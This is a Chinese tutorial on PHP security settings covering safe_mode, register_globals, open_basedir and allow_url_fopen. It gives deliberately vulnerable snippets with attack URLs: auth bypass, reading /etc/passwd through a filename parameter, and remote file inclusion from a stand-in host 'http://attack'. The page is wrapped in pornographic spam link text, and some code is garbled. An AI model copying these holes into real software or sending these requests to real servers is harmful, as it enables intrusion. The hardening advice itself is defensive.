六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

PHP安全設置(2)

[摘要]三、PHP本身的安全配置 PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get...
三、PHP本身的安全配置

PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。

如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之后必須重啟apache才能生效。其中php.ini設置的選項是對Web服務器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。

如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以后馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以后的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:

# grep PHP_INI_ /PHP_SRC/main/main.c



在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改php.ini:

safe_mode = On
或者修改httpd.conf,定義目錄:

Options FollowSymLinks
php_admin_value safe_mode 1




重啟apache后safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的文件打開、命令執行等函數。

所有操作文件的函數將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:


幾個文件的屬性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php



在瀏覽器請求test.php會提示如下的錯誤信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目錄的UID和腳本UID一致,那么該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。

如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:

safe_mode_gid = On

設置了safe_mode以后,所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷貝程序到該目錄,那么php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。

safe_mode_include_dir string

當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。

從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。

指定的限制實際上是一個前綴,而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那么請在結尾加上一個斜線,例如:“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string

設置某些環境變量可能是潛在的安全缺口。本指令包含有一個逗號分隔的前綴列表。在安全模式下,用戶只能改變那些名字具有在這里提供的前綴的環境變量。默認情況下,用戶只能設置以 PHP_ 開頭的環境變量(例如 PHP_FOO = BAR)。

注: 如果本指令為空,PHP 將使用戶可以修改任何環境變量!

safe_mode_protected_env_vars string

本指令包含有一個逗號分隔的環境變量的列表,最終用戶不能用 putenv() 來改變這些環境變量。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變量。

雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。

討論完safe_mode后,下面結合程序代碼實際可能出現的問題討論如何通過對PHP服務器端的配置來避免出現的漏洞。

2、變量濫用

PHP默認register_globals = On,對于GET, POST, Cookie, Environment, Session的變量可以直接注冊成全局變量。它們的注冊順序是variables_order = "EGPCS"(可以通過php.ini修改),同名變量variables_order右邊的覆蓋左邊,所以變量的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變量初始化的習慣,像如下的程序片斷就極易受到攻擊:

<>
//test_1.php
if ($pass == "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>



攻擊者只需用如下的請求就能繞過檢查:

http://victim/test_1.php?auth=1

這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞:http://www.securityfocus.com/bid/3361

PHP-4.1.0發布的時候建議關閉register_globals,并提供了7個特殊的數組變量來使用各種變量。對于從GET、POST、COOKIE等來的變量并不會直接注冊成變量,必需通過數組變量來存取。PHP-4.2.0發布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變量。

解決方法:

配置文件php.ini設置register_globals = Off。

要求程序員對作為判斷的變量在程序最開始初始化一個值。

3、文件打開

極易受攻擊的代碼片斷:

<>
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
\n");
exit;
}
else {
echo $str;
}
?>



由于攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下請求可以讀php文件本身:

http://victim/test_2.php?filename=test_2.php

PHP中文件打開函數還有fopen(), file()等,如果對文件名變量檢查不嚴就會造成服務器重要文件被訪問讀取。

解決方法:

如非特殊需要,把php的文件操作限制在web目錄里面。以下是修改apache配置文件httpd.conf的一個例子:


php_admin_value open_basedir /usr/local/apache/htdocs




重啟apache后,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:

Warning: open_basedir restriction in effect.

File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免這種問題,前面已經討論過了。

4、包含文件

極易受攻擊的代碼片斷:

<>
//test_3.php
if(file_exists($filename))
include("$filename");
?>



這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:

http://victim/test_3.php?filename=/etc/passwd

如果對于Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,如http://attack/attack.txt的內容是,那么如下的請求就可以在目標主機執行命令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻擊者甚至可以通過包含apache的日志文件access.log和error.log來得到執行命令的代碼,不過由于干擾信息太多,有時不易成功。

對于另外一種形式,如下代碼片斷:

<>
//test_4.php
include("$lib/config.php");
?>



攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然后用如下請求也可以在目標主機執行命令:

http://victim/test_4.php?lib=http://attack

PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變量檢查不嚴就會對系統造成嚴重危險,可以遠程執行命令。

解決方法:

要求程序員包含文件里的參數盡量不要使用變量,如果使用變量,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。

如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。修改php.ini文件:

allow_url_fopen = Off

重啟apache。




主站蜘蛛池模板: 色噜噜狠狠色综合中国 | 日韩精品导航 | 色综合天天综合网国产成人网 | 亚洲一二三四区 | 青青国产成人久久激情91麻豆 | 日本aa大片在线播放免费看 | 色欲香天天天综合网站 | 在线观看aaa| 亚洲精品第三页 | 欧日韩美香蕉在线观看 | 亚洲综合色在线 | 日韩中文字幕网 | 伊人网在线免费视频 | 中文国产 | 日本成人h动漫 | 日韩精品一区二区三区免费视频 | 欧美资源在线观看 | 亚洲欧美另类精品久久久 | 一二三四日本高清 | 日韩aⅴ在线观看 | 色18姝姝| 日韩欧美亚洲 | 雪白丰满丝袜长腿白嫩在线 | 日韩手机看片福利精品 | 日韩毛片基地 | 亚洲乱码一区二区三区国产精品 | 亚洲国产毛片aaaaa无费看 | 日日做夜夜爱 | 欧美在线视频导航 | 天天综合天天干 | 亚洲人成网站色7799在线播放 | 色播五月激情五月 | 在线观看亚洲欧美 | 日韩国产成人资源精品视频 | 日韩美一区二区三区 | 日韩精品成人a在线观看 | 中文字幕高清免费不卡视频 | 思思久久99 | 日本一区二区视频在线观看 | 日日夜夜精品免费视频 | 午夜大片在线观看 |